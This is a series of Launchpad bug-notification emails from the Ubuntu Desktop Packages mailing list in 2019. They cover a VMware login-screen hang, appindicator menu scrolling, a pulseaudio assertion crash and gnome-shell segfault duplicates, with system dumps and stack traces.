Great work Eric! I installed your kernel build and it seems to work. As confirmation of the kernel build level, here is uname -a output immediately after install & reboot. uname -a Linux ubuntuvm1 4.15.0-53-generic #57+hf231164v20190618b9-Ubuntu SMP Tue Jun 18 20:11:42 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1832138 Title: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it Status in linux package in Ubuntu: Invalid Status in mutter package in Ubuntu: Invalid Status in linux source package in Bionic: In Progress Status in mutter source package in Bionic: Incomplete Status in linux source package in Eoan: Invalid Status in mutter source package in Eoan: Invalid Bug description: I'm running Ubuntu 18.04.2 desktop in a virtual machine under VMWare Fusion Pro V11.1.0 on MacOS Mojave 10.14.5, all on a 15inch 2018 Macbook Pro. I've been running this Ubuntu 18.04.2 VM without problem for many months without problem. Yesterday, I did 'sudo apt update; sudo apt upgrade'. Upon rebooting, the system hangs immediately after displaying the splash screen. I never see a login screen. And I can't use Ctrl+Alt+F2 to navigate to a console/tty login. I can SSH into the system however. I've found that I can work around the hang/freeze if I uncomment the following line in /etc/gdm3/custom.conf; #WaylandEnable=false After uncommenting the WaylandEnable=false line and rebooting, then I see the login prompt as expected and I can then log in and use the system normally again. After the 'apt upgrade' my system is running linux kernel 4.15.0-51, as shown in this 'uname -a' output; Linux ubuntuvm1 4.15.0-51-generic #55-Ubuntu SMP Wed May 15 14:27:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux lsb_release -a output; No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-51.55-generic 4.15.18 Uname: Linux 4.15.0-51-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 CompositorRunning: None Date: Sun Jun 9 12:38:37 2019 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GpuHangFrequency: This is the first time GraphicsCard: VMware SVGA II Adapter [15ad:0405] (prog-if 00 [VGA controller]) Subsystem: VMware SVGA II Adapter [15ad:0405] InstallationDate: Installed on 2018-05-06 (399 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: VMware, Inc. VMware Virtual Platform ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-51-generic root=/dev/mapper/ubuntu--vg-root ro splash net.ifnames=0 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/13/2018 dmi.bios.vendor: Phoenix Technologies LTD dmi.bios.version: 6.00 dmi.board.name: 440BX Desktop Reference Platform dmi.board.vendor: Intel Corporation dmi.board.version: None dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: No Enclosure dmi.chassis.version: N/A dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvr6.00:bd04/13/2018:svnVMware,Inc.:pnVMwareVirtualPlatform:pvrNone:rvnIntelCorporation:rn440BXDesktopReferencePlatform:rvrNone:cvnNoEnclosure:ct1:cvrN/A: dmi.product.name: VMware Virtual Platform dmi.product.version: None dmi.sys.vendor: VMware, Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1832138/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832138] Re: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it
I successully applied your latest patch above and it was fixed! Thank you so much! -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1832138 Title: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it Status in linux package in Ubuntu: Invalid Status in mutter package in Ubuntu: Invalid Status in linux source package in Bionic: In Progress Status in mutter source package in Bionic: Incomplete Status in linux source package in Eoan: Invalid Status in mutter source package in Eoan: Invalid Bug description: I'm running Ubuntu 18.04.2 desktop in a virtual machine under VMWare Fusion Pro V11.1.0 on MacOS Mojave 10.14.5, all on a 15inch 2018 Macbook Pro. I've been running this Ubuntu 18.04.2 VM without problem for many months without problem. Yesterday, I did 'sudo apt update; sudo apt upgrade'. Upon rebooting, the system hangs immediately after displaying the splash screen. I never see a login screen. And I can't use Ctrl+Alt+F2 to navigate to a console/tty login. I can SSH into the system however. I've found that I can work around the hang/freeze if I uncomment the following line in /etc/gdm3/custom.conf; #WaylandEnable=false After uncommenting the WaylandEnable=false line and rebooting, then I see the login prompt as expected and I can then log in and use the system normally again. After the 'apt upgrade' my system is running linux kernel 4.15.0-51, as shown in this 'uname -a' output; Linux ubuntuvm1 4.15.0-51-generic #55-Ubuntu SMP Wed May 15 14:27:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux lsb_release -a output; No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-51.55-generic 4.15.18 Uname: Linux 4.15.0-51-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 CompositorRunning: None Date: Sun Jun 9 12:38:37 2019 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GpuHangFrequency: This is the first time GraphicsCard: VMware SVGA II Adapter [15ad:0405] (prog-if 00 [VGA controller]) Subsystem: VMware SVGA II Adapter [15ad:0405] InstallationDate: Installed on 2018-05-06 (399 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: VMware, Inc. VMware Virtual Platform ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-51-generic root=/dev/mapper/ubuntu--vg-root ro splash net.ifnames=0 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/13/2018 dmi.bios.vendor: Phoenix Technologies LTD dmi.bios.version: 6.00 dmi.board.name: 440BX Desktop Reference Platform dmi.board.vendor: Intel Corporation dmi.board.version: None dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: No Enclosure dmi.chassis.version: N/A dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvr6.00:bd04/13/2018:svnVMware,Inc.:pnVMwareVirtualPlatform:pvrNone:rvnIntelCorporation:rn440BXDesktopReferencePlatform:rvrNone:cvnNoEnclosure:ct1:cvrN/A: dmi.product.name: VMware Virtual Platform dmi.product.version: None dmi.sys.vendor: VMware, Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1832138/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833045] Re: Ubuntu on Wayland login option is missing on random boots in VMware
This bug _only_ affects bionic. But I am happy to say "Won't Fix". ** Also affects: mutter (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: mutter (Ubuntu Bionic) Status: New => Won't Fix -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1833045 Title: Ubuntu on Wayland login option is missing on random boots in VMware Status in mutter package in Ubuntu: Invalid Status in mutter source package in Bionic: Won't Fix Status in mutter source package in Disco: Invalid Status in mutter source package in Eoan: Invalid Bug description: Ubuntu on Wayland login option is missing on random boots in VMware. This seems to be a persistent problem with Ubuntu 18.04, but seems to have been fixed at least in 19.04. In 18.04 where the bug does exist, upgrading the kernel to 5.1 doesn't seem to help. This looks and feels like a mutter bug that has since been fixed. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/mutter/+bug/1833045/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1830422] Re: Shell boxpointer menus don't have scroll buttons when they exceed the screen height
That's a Launchpad bug. Nothing is fixed. The bug was rejected and
closed, which Launchpad misinterprets as "Fix Released":
https://gitlab.gnome.org/GNOME/gnome-shell/issues/1332
** No longer affects: gnome-shell
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1830422
Title:
Shell boxpointer menus don't have scroll buttons when they exceed the
screen height
Status in gnome-shell package in Ubuntu:
Opinion
Status in gnome-shell-extension-appindicator package in Ubuntu:
Confirmed
Bug description:
I am using appindicator-1.0 in conjunction with Gtk+2.0 menu. Menu
consist of constant items and many dynamically added items. If the
screen pixel resolution is not so good as it must be then the last
menu items are not visible. Ubuntu 16.04 automatically add top and
bottom bars with "^" and "v" arrows to scroll menu when mouse pointer
is over these bars. But in Linux Ubuntu 18.04 (and 19.04 too) such
scrolling bars are not appearing.
On the other hand menu scrolling is working fine anywhere into usual
GTK window with menu bar (without using appindicator). Ubuntu 16.04
and Ubuntu 18.04 use the same 12.10.1 libappindicator version.
Here is the test c program which illustrates the issue. It works fine
in Linux Ubuntu 16.04 and has the described above problem in Linux
18.04:
#include
#include
#define LOGO_PNG "/home/super/my-project/menu-test/logo.png"
AppIndicator* c_indicator;
GtkWidget* c_menu;
void menu_quit_cb(GtkMenuItem* menuitem, gpointer user_data)
{
gtk_main_quit();
}
int main(int argc, char *argv[])
{
gtk_init(&argc, &argv);
int i;
GtkWidget* item;
char title[128];
c_menu = gtk_menu_new();
item = gtk_menu_item_new_with_label("Quit");
g_signal_connect(item, "activate", G_CALLBACK(menu_quit_cb), NULL);
gtk_menu_shell_append(GTK_MENU_SHELL(c_menu), item);
gtk_widget_show(item);
gtk_menu_shell_append(GTK_MENU_SHELL(c_menu),
gtk_separator_menu_item_new());
for (i = 1; i <= 100; ++i) {
snprintf(title, sizeof(title), "Item #%03u", i);
item = gtk_menu_item_new_with_label(title);
gtk_menu_shell_append(GTK_MENU_SHELL(c_menu), item);
gtk_widget_show(item);
}
//
c_indicator = app_indicator_new("Menu Test", LOGO_PNG,
APP_INDICATOR_CATEGORY_APPLICATION_STATUS);
app_indicator_set_status(c_indicator, APP_INDICATOR_STATUS_ACTIVE);
app_indicator_set_icon(c_indicator, LOGO_PNG);
app_indicator_set_menu(c_indicator, GTK_MENU(c_menu));
gtk_main();
return 0;
}
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: libappindicator1 12.10.1+18.04.20180322.1-0ubuntu1
ProcVersionSignature: Ubuntu 4.15.0-50.54-generic 4.15.18
Uname: Linux 4.15.0-50-generic x86_64
ApportVersion: 2.20.9-0ubuntu7.6
Architecture: amd64
CurrentDesktop: ubuntu:GNOME
Date: Fri May 24 21:15:59 2019
InstallationDate: Installed on 2018-07-03 (325 days ago)
InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
SourcePackage: libappindicator
UpgradeStatus: No upgrade log present (probably fresh install)
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1830422/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1663528] Re: pulseaudio assert failure: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed.
This looks like a common crash in 18.04. Not hugely common, but I don't think we could say no. I just don't know when/if such an update to 18.04 will get done. ** Also affects: pulseaudio (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: pulseaudio (Ubuntu Bionic) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1663528 Title: pulseaudio assert failure: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed. Status in PulseAudio: Fix Released Status in pulseaudio package in Ubuntu: Fix Released Status in pulseaudio source package in Bionic: Confirmed Bug description: https://errors.ubuntu.com/problem/a8bcc8185d5b1da4614bcdcf99daf57011bf9250 --- Sidenote: Imediatly got that crash after the apt-xapian-index one ( lp:1663524 ); does not know if it can exist a possible relationship between them. Got an other crash, and that time 'sound' is fully lost (pulseaudio not reloaded). Wonder if lp:1662860 can be concerned. ProblemType: Crash DistroRelease: Ubuntu 17.04 Package: pulseaudio 1:10.0-1ubuntu1 ProcVersionSignature: Ubuntu 4.9.0-16.17-generic 4.9.6 Uname: Linux 4.9.0-16-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.4-0ubuntu2 Architecture: amd64 AssertionMessage: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed. AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: oem4084 F pulseaudio /dev/snd/controlC0: oem4084 F pulseaudio CurrentDesktop: GNOME Date: Fri Feb 10 09:55:45 2017 ExecutablePath: /usr/bin/pulseaudio ProcCmdline: /usr/bin/pulseaudio --start --log-target=syslog ProcEnviron: LANGUAGE=en_GB:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_GB.UTF-8 SHELL=/bin/bash Signal: 6 SourcePackage: pulseaudio StacktraceTop: __assert_fail_base (fmt=, assertion=assertion@entry=0x7f92818e7188 "mixer", file=file@entry=0x7f92818e7419 "mixer.c", line=line@entry=929, function=function@entry=0x7f92818e76a0 "snd_mixer_elem_get_callback_private") at assert.c:92 __GI___assert_fail (assertion=0x7f92818e7188 "mixer", file=0x7f92818e7419 "mixer.c", line=929, function=0x7f92818e76a0 "snd_mixer_elem_get_callback_private") at assert.c:101 snd_mixer_elem_get_callback_private () from /usr/lib/x86_64-linux-gnu/libasound.so.2 ?? () from /usr/lib/pulse-10.0/modules/module-alsa-card.so ?? () from /usr/lib/pulse-10.0/modules/module-alsa-card.so Title: pulseaudio assert failure: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom colord dip lpadmin nvidia-persistenced plugdev sambashare sudo users dmi.bios.date: 07/22/2010 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 3002 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: P5W DH Deluxe dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr3002:bd07/22/2010:svnASUSTEKCOMPUTERINC:pnP5WDHDeluxe:pvrSystemVersion:rvnASUSTeKComputerINC.:rnP5WDHDeluxe:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.name: P5W DH Deluxe dmi.product.version: System Version dmi.sys.vendor: ASUSTEK COMPUTER INC To manage notifications about this bug go to: https://bugs.launchpad.net/pulseaudio/+bug/1663528/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832856] Re: Gnome-shell crashes frequently in gnome-shell/extensions/wsmat...@martin.zurowietz.de
*** This bug is a duplicate of bug 1788429 *** https://bugs.launchpad.net/bugs/1788429 ** This bug is no longer a duplicate of bug 1833098 gnome-shell crashed with SIGSEGV in g_type_check_instance_is_a() from g_file_get_parent() from _st_theme_resolve_url() from _st_theme_node_ensure_background() from st_theme_node_paint_equal() ** This bug has been marked a duplicate of bug 1788429 gnome-shell crashed with SIGSEGV in g_file_get_parent → _st_theme_resolve_url → _st_theme_node_ensure_background → st_theme_node_paint_equal → st_widget_recompute_style -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1832856 Title: Gnome-shell crashes frequently in gnome- shell/extensions/wsmat...@martin.zurowietz.de Status in gnome-shell package in Ubuntu: Incomplete Bug description: After the update to 3.32.1 gnome-shell crashes frequently. Before, on 3.32.0, I had no crashes and had a stable desktop. Now, I get 3-4 crashes a day, on average. Here is log snippet on the crash: Jun 14 14:59:20 falcon org.gnome.Shell.desktop[7076]: GNOME Shell crashed with signal 11 Jun 14 14:59:20 falcon org.gnome.Shell.desktop[7076]: == Stack trace for context 0x5602dcfe82c0 == Jun 14 14:59:20 falcon org.gnome.Shell.desktop[7076]: #0 7ffe03deaae0 b resource:///org/gnome/shell/ui/workspaceSwitcherPopup.js:129 (7f2b39c37820 @ 351) Jun 14 14:59:20 falcon org.gnome.Shell.desktop[7076]: #1 7ffe03deab90 b /home/gjm/.local/share/gnome-shell/extensions/wsmat...@martin.zurowietz.de/IndicatorWsmatrixPopup.js:106 (7f2b38480790 @ 24) Jun 14 14:59:20 falcon org.gnome.Shell.desktop[7076]: #2 5602e16865c8 i resource:///org/gnome/shell/ui/workspaceSwitcherPopup.js:152 (7f2b39c37940 @ 43) Jun 14 14:59:20 falcon org.gnome.Shell.desktop[7076]: #3 5602e1686520 i /home/gjm/.local/share/gnome-shell/extensions/wsmat...@martin.zurowietz.de/BaseWorkspaceSwitcherPopup.js:13 (7f2b38480160 @ 24) Jun 14 14:59:20 falcon org.gnome.Shell.desktop[7076]: #4 5602e1686420 i /home/gjm/.local/share/gnome-shell/extensions/wsmat...@martin.zurowietz.de/WmOverride.js:332 (7f2b3847e4c0 @ 2358) Jun 14 14:59:20 falcon org.gnome.Shell.desktop[7076]: #5 7ffe03dec9c0 I self-hosted:981 (7f2b39e50940 @ 474) Jun 14 14:59:20 falcon gnome-session-binary[6929]: WARNING: Application 'org.gnome.Shell.desktop' killed by signal 11 Jun 14 14:59:20 falcon gnome-session[6929]: gnome-session-binary[6929]: WARNING: Application 'org.gnome.Shell.desktop' killed by signal 11 I talked to the maintainer of wsmatrix extension and, as he suggested, I disabled the extension and concluded that that the crashes are not the extension's fault. If there something I can do to help debug this issue I'll be glad to help. ProblemType: Bug DistroRelease: Ubuntu 19.04 Package: gnome-shell 3.32.1-1ubuntu1~19.04.1 ProcVersionSignature: Ubuntu 5.0.0-16.17-generic 5.0.8 Uname: Linux 5.0.0-16-generic x86_64 ApportVersion: 2.20.10-0ubuntu27 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Fri Jun 14 15:00:01 2019 DisplayManager: gdm3 InstallationDate: Installed on 2017-12-14 (546 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20171018) SourcePackage: gnome-shell UpgradeStatus: Upgraded to disco on 2019-04-18 (56 days ago) mtime.conffile..etc.apport.crashdb.conf: 2018-11-21T09:13:30.219492 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1832856/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833098] Re: gnome-shell crashed with SIGSEGV in g_type_check_instance_is_a() from g_file_get_parent() from _st_theme_resolve_url() from _st_theme_node_ensure_background() from
*** This bug is a duplicate of bug 1788429 *** https://bugs.launchpad.net/bugs/1788429 Thank you for taking the time to report this bug and helping to make Ubuntu better. This particular bug has already been reported and is a duplicate of bug 1788428, so it is being marked as such. Please look at the other bug report to see if there is any missing information that you can provide, or to see if there is a workaround for the bug. Additionally, any further discussion regarding the bug should occur in the other report. Feel free to continue to report any other bugs you may find. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1833098 Title: gnome-shell crashed with SIGSEGV in g_type_check_instance_is_a() from g_file_get_parent() from _st_theme_resolve_url() from _st_theme_node_ensure_background() from st_theme_node_paint_equal() Status in gnome-shell package in Ubuntu: New Bug description: Crashes randomly... Can't reliably reproduce it. ProblemType: Crash DistroRelease: Ubuntu 19.04 Package: gnome-shell 3.32.1-1ubuntu1~19.04.1 ProcVersionSignature: Ubuntu 5.0.0-16.17-generic 5.0.8 Uname: Linux 5.0.0-16-generic x86_64 ApportVersion: 2.20.10-0ubuntu27 Architecture: amd64 CrashCounter: 1 CurrentDesktop: ubuntu:GNOME Date: Mon Jun 17 16:18:13 2019 DisplayManager: gdm3 ExecutablePath: /usr/bin/gnome-shell InstallationDate: Installed on 2017-12-14 (549 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20171018) ProcCmdline: /usr/bin/gnome-shell Signal: 11 SourcePackage: gnome-shell StacktraceTop: g_type_check_instance_is_a () from /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 g_file_get_parent () from /usr/lib/x86_64-linux-gnu/libgio-2.0.so.0 _st_theme_resolve_url () from /usr/lib/gnome-shell/libst-1.0.so _st_theme_node_ensure_background () from /usr/lib/gnome-shell/libst-1.0.so st_theme_node_paint_equal () from /usr/lib/gnome-shell/libst-1.0.so Title: gnome-shell crashed with SIGSEGV in g_type_check_instance_is_a() UpgradeStatus: Upgraded to disco on 2019-04-18 (59 days ago) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo www-data mtime.conffile..etc.apport.crashdb.conf: 2019-06-17T10:01:38.137956 separator: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1833098/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833098] Re: gnome-shell crashed with SIGSEGV in g_type_check_instance_is_a() from g_file_get_parent() from _st_theme_resolve_url() from _st_theme_node_ensure_background() from
*** This bug is a duplicate of bug 1788429 *** https://bugs.launchpad.net/bugs/1788429 Which is presently a duplicate of bug 1788429... ** This bug has been marked a duplicate of bug 1788429 gnome-shell crashed with SIGSEGV in g_file_get_parent → _st_theme_resolve_url → _st_theme_node_ensure_background → st_theme_node_paint_equal → st_widget_recompute_style -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1833098 Title: gnome-shell crashed with SIGSEGV in g_type_check_instance_is_a() from g_file_get_parent() from _st_theme_resolve_url() from _st_theme_node_ensure_background() from st_theme_node_paint_equal() Status in gnome-shell package in Ubuntu: New Bug description: Crashes randomly... Can't reliably reproduce it. ProblemType: Crash DistroRelease: Ubuntu 19.04 Package: gnome-shell 3.32.1-1ubuntu1~19.04.1 ProcVersionSignature: Ubuntu 5.0.0-16.17-generic 5.0.8 Uname: Linux 5.0.0-16-generic x86_64 ApportVersion: 2.20.10-0ubuntu27 Architecture: amd64 CrashCounter: 1 CurrentDesktop: ubuntu:GNOME Date: Mon Jun 17 16:18:13 2019 DisplayManager: gdm3 ExecutablePath: /usr/bin/gnome-shell InstallationDate: Installed on 2017-12-14 (549 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20171018) ProcCmdline: /usr/bin/gnome-shell Signal: 11 SourcePackage: gnome-shell StacktraceTop: g_type_check_instance_is_a () from /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 g_file_get_parent () from /usr/lib/x86_64-linux-gnu/libgio-2.0.so.0 _st_theme_resolve_url () from /usr/lib/gnome-shell/libst-1.0.so _st_theme_node_ensure_background () from /usr/lib/gnome-shell/libst-1.0.so st_theme_node_paint_equal () from /usr/lib/gnome-shell/libst-1.0.so Title: gnome-shell crashed with SIGSEGV in g_type_check_instance_is_a() UpgradeStatus: Upgraded to disco on 2019-04-18 (59 days ago) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo www-data mtime.conffile..etc.apport.crashdb.conf: 2019-06-17T10:01:38.137956 separator: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1833098/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1788429] Re: gnome-shell crashed with SIGSEGV in g_file_get_parent → _st_theme_resolve_url → _st_theme_node_ensure_background → st_theme_node_paint_equal → st_widget_recompute_
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: gnome-shell (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1788429 Title: gnome-shell crashed with SIGSEGV in g_file_get_parent → _st_theme_resolve_url → _st_theme_node_ensure_background → st_theme_node_paint_equal → st_widget_recompute_style Status in gnome-shell package in Ubuntu: Confirmed Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding gnome-shell. This problem was most recently seen with package version 3.28.2-0ubuntu0.18.04.1, the problem page at https://errors.ubuntu.com/problem/a7a947c33583b6cc42b9caca5a5622d5efcc3501 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1788429/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1762235] Re: gnome-shell crashed with SIGSEGV in g_hash_table_iter_init() from nm_ip_address_dup() from g_boxed_copy()
Tracking in: https://errors.ubuntu.com/problem/f00ece10287bf9cfb758c3819e2e3f6575704d10 ** Description changed: - - + https://errors.ubuntu.com/problem/f00ece10287bf9cfb758c3819e2e3f6575704d10 ProblemType: Crash DistroRelease: Ubuntu 18.04 Package: gnome-shell 3.28.0-0ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-13.14-generic 4.15.10 Uname: Linux 4.15.0-13-generic x86_64 ApportVersion: 2.20.9-0ubuntu4 Architecture: amd64 CrashCounter: 1 CurrentDesktop: GNOME Date: Sun Apr 8 20:57:53 2018 DisplayManager: gdm3 ExecutablePath: /usr/bin/gnome-shell InstallationDate: Installed on 2018-02-18 (49 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180204) ProcCmdline: /usr/bin/gnome-shell ProcEnviron: - PATH=(custom, no user) - XDG_RUNTIME_DIR= - LANG=cs_CZ.UTF-8 - SHELL=/bin/bash + PATH=(custom, no user) + XDG_RUNTIME_DIR= + LANG=cs_CZ.UTF-8 + SHELL=/bin/bash SegvAnalysis: - Segfault happened at: 0x7f8db9b994f4 :mov 0x44(%rsi),%eax - PC (0x7f8db9b994f4) ok - source "0x44(%rsi)" (0x3838342032313176) not located in a known VMA region (needed readable region)! - destination "%eax" ok + Segfault happened at: 0x7f8db9b994f4 :mov 0x44(%rsi),%eax + PC (0x7f8db9b994f4) ok + source "0x44(%rsi)" (0x3838342032313176) not located in a known VMA region (needed readable region)! + destination "%eax" ok SegvReason: reading unknown VMA Signal: 11 SourcePackage: gnome-shell StacktraceTop: - g_hash_table_iter_init () at /lib/x86_64-linux-gnu/libglib-2.0.so.0 - () at /usr/lib/x86_64-linux-gnu/libnm.so.0 - g_boxed_copy () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 - gjs_boxed_from_c_struct () at /usr/lib/libgjs.so.0 - gjs_value_from_g_argument () at /usr/lib/libgjs.so.0 + g_hash_table_iter_init () at 